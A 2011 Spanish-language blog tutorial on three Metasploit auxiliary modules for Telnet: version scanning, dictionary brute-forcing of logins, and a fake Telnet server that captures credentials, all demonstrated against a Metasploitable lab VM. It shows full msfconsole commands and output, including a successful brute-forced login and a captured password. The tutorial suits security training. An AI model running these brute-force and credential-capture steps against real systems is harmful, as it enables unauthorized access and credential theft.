domingo, 21 de agosto de 2011

Módulos Auxiliares de Metasploit para Telnet

Metasploit proporciona algunos módulos auxiliares para Telnet que nos permitirán analizar la versión en ejecución, realizar ataques de fuerza bruta y simular un servidor Telnet falso.

Podemos encontrar todos estos módulos auxiliares a través de la búsqueda en Metasploit:

msf > search type:auxiliary telnet


Telnet version scanner (telnet_version)

Para invocar este módulo auxiliar solo debemos ejecutar el siguiente comando:
msf > use auxiliary/scanner/telnet/telnet_version 
msf  auxiliary(telnet_version) > 


Veamos las variables disponibles de este módulo auxiliar:
msf  auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     23               yes       The target port
   THREADS   1                yes       The number of concurrent threads
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


En este caso solo tenemos que establecer la dirección IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP única, un rango de direcciones (192.168.1.0-192.168.1.255) una subred (192.168.1.0/24) o un archivo (/tmp/ip_addresses.txt). Si quisiéramos paralelizar los procesos del análisis de la versión, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. Para reducir el tiempo límite de conexión Telnet, reducimos el valor de la variable “TIMEOUT”.
msf  auxiliary(telnet_version) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134


Luego de establecer las variables, ejecutamos el módulo y en pocos segundos tendremos resultados:
msf  auxiliary(telnet_version) > run

[*] 192.168.58.134:23 TELNET Ubuntu 8.04\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



Autenticación en Telnet mediante ataque de fuerza bruta (telnet_login)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf > use auxiliary/scanner/telnet/telnet_login 
msf  auxiliary(telnet_login) > 

Este módulo intenta autenticarse contra un servidor Telnet utilizando combinaciones de nombres de usuario y contraseñas en diccionarios definidos en las variables “USER_FILE“, “PASS_FILE“ y “USERPASS_FILE”. Metasploit proporciona archivos para las variables “USER_FILE” (/opt/metasploit3/msf3/data/wordlists/unix_users.txt) y "PASS_FILE” (/opt/metasploit3/msf3/data/wordlists/unix_passwords.txt). También podemos utilizar las listas de contraseñas de SkullSecurity, o esta otra que es actualizada de forma regular. 

Para paralelizar los intentos de login, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. También asignar la dirección o rango IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP, un rango de direcciones, una subred o un archivo. Cada login y contraseña descubiertos crearán una sesión de Metasploit.

msf  auxiliary(telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             23               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
msf  auxiliary(telnet_login) > 


Definamos las variables:
msf  auxiliary(telnet_login) > set PASS_FILE /pentest/exploits/framework/data/wordlists/unix_passwords.txt 
PASS_FILE => /pentest/exploits/framework/data/wordlists/unix_passwords.txt
msf  auxiliary(telnet_login) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(telnet_login) > set USER_FILE /pentest/exploits/framework/data/wordlists/unix_users.txt 
USER_FILE => /pentest/exploits/framework/data/wordlists/unix_users.txt
msf  auxiliary(telnet_login) > 


Verificamos de nuevo las variables antes de ejecutar el módulo:
msf  auxiliary(telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting                                                Required  Description
   ----              ---------------                                                --------  -----------
   BLANK_PASSWORDS   true                                                           no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                              yes       How fast to bruteforce, from 0 to 5
   PASSWORD                                                                         no        A specific password to authenticate with
   PASS_FILE         /pentest/exploits/framework/data/wordlists/unix_passwords.txt  no        File containing passwords, one per line
   RHOSTS            192.168.58.134                                                 yes       The target address range or CIDR identifier
   RPORT             23                                                             yes       The target port
   STOP_ON_SUCCESS   false                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                              yes       The number of concurrent threads
   USERNAME                                                                         no        A specific username to authenticate as
   USERPASS_FILE                                                                    no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true                                                           no        Try the username as the password for all users
   USER_FILE         /pentest/exploits/framework/data/wordlists/unix_users.txt      no        File containing usernames, one per line
   VERBOSE           true                                                           yes       Whether to print output for all attempts

msf  auxiliary(telnet_login) > 


Ejecutamos el módulo. Los inténtos válidos se mostrarán en verde y los inválidos en color rojo.
msf  auxiliary(telnet_login) > run

[*] 192.168.58.134:23 Telnet - [000001/109216] - Attempting: '':''
[*] 192.168.58.134:23 TELNET - [000001/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000001/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000001/109216] - Result:   Login incorrect metasploitable login:
[*] 192.168.58.134:23 Telnet - [000002/109216] - Attempting: '4Dgifts':''
[*] 192.168.58.134:23 TELNET - [000002/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000002/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000002/109216] - Result:   Login incorrect metasploitable login:
[*] 192.168.58.134:23 Telnet - [000003/109216] - Attempting: 'EZsetup':''
[*] 192.168.58.134:23 TELNET - [000003/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Result:   Login incorrect 
...
[*] 192.168.58.134:23 Telnet - [000045/109216] - Attempting: 'msfadmin':'msfadmin'
[*] 192.168.58.134:23 TELNET - [000045/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Result:  Last login: Sun Aug 21 04:34:38 EDT 2011 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.  Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.  To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail.
[+] 192.168.58.134 - SUCCESSFUL LOGIN msfadmin : msfadmin
[*] Command shell session 1 opened (192.168.58.10:60805 -> 192.168.58.134:23) at 2011-08-21 04:43:46 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(telnet_login) > 



Emulador de servidor Telnet falso (telnet)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf > use auxiliary/server/capture/telnet 
msf  auxiliary(telnet) > 

Este módulo emula un servidor falso de Telnet con el fin de capturar credenciales de autenticación.
msf  auxiliary(telnet) > run
[*] Auxiliary module execution completed

[*] Server started.
msf  auxiliary(telnet) > 


Cuando la víctima trata de iniciar una conexión Telnet a nuestro servidor falso, las credenciales serán capturadas:

msf  auxiliary(telnet) > 
[*] TELNET LOGIN 192.168.58.134:44277 darkoperator / P@ssw0rd
msf  auxiliary(telnet) > 


Fuente